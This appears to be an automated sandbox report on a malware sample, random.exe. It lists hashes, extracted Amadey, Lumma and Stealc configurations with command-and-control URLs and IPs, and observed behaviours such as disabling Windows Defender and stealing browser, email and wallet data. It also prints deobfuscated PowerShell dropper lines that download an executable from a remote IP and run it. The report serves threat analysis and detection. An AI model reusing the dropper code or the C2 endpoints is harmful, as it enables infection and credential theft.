Resubmissions

16/03/2025, 14:27 UTC

250316-rslvgaszdx 10

16/03/2025, 08:13 UTC

250316-j4f5cswsfx 10

15/03/2025, 11:26 UTC

250315-njwrjawlt6 10

General

  • Target

    random.exe

  • Size

    5.6MB

  • Sample

    250316-j4f5cswsfx

  • MD5

    f0cad0627e4b852e7ce633df29855373

  • SHA1

    3187e3016d889fdcb5f3c38cc19c1dac27163fe4

  • SHA256

    e7b933849e850c1778c1378c7a5d07df318d86f7b3ee6257885b768fa81f685c

  • SHA512

    c121d9a4d2ced148ac422e193096e7596c8270c662065b9f16efe4ec4ccc1552b44ad92511246fdde7fed55fbb53c178a5da28a84533707a907084c25ad9c615

  • SSDEEP

    98304:6zd9u3jgDjebrGE5pd8PY22ImKYMFCqgupRERune9rmqy3kG/TQ8swX+hh/YG6GR:0dMgebrREbJPYIpKcneY13LTQf6+hVYM

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "0VM7VYZIHK4A9ZOAFQ2617BMWK4GKUMR.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

lumma

C2

https://citydisco.bet/api

https://crosshairc.life/api

https://mrodularmall.top/api

https://jowinjoinery.icu/api

https://legenassedk.top/api

https://4htardwarehu.icu/api

https://cjlaspcorne.icu/api

https://bugildbett.top/api

https://weaponrywo.digital/api

https://zfurrycomp.top/api

https://htardwarehu.icu/api

https://8cjlaspcorne.icu/api

https://adweaponrywo.digital/api

https://loadoutle.life/api

https://caliberc.today/api

https://pistolpra.bet/api

https://weaponwo.life/api

https://armamenti.world/api

https://selfdefens.bet/api

https://targett.top/api

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Targets

    • Target

      random.exe

    • Size

      5.6MB

    • MD5

      f0cad0627e4b852e7ce633df29855373

    • SHA1

      3187e3016d889fdcb5f3c38cc19c1dac27163fe4

    • SHA256

      e7b933849e850c1778c1378c7a5d07df318d86f7b3ee6257885b768fa81f685c

    • SHA512

      c121d9a4d2ced148ac422e193096e7596c8270c662065b9f16efe4ec4ccc1552b44ad92511246fdde7fed55fbb53c178a5da28a84533707a907084c25ad9c615

    • SSDEEP

      98304:6zd9u3jgDjebrGE5pd8PY22ImKYMFCqgupRERune9rmqy3kG/TQ8swX+hh/YG6GR:0dMgebrREbJPYIpKcneY13LTQf6+hVYM

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detects Healer an antivirus disabler dropper

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • Lumma family

    • Modifies Windows Defender DisableAntiSpyware settings

    • Modifies Windows Defender Real-time Protection settings

    • Modifies Windows Defender TamperProtection settings

    • Modifies Windows Defender notification settings

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Powershell Invoke Web Request.

    • Downloads MZ/PE file

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Registers new Windows logon scripts automatically executed at logon.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Windows security modification

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Drops desktop.ini file(s)

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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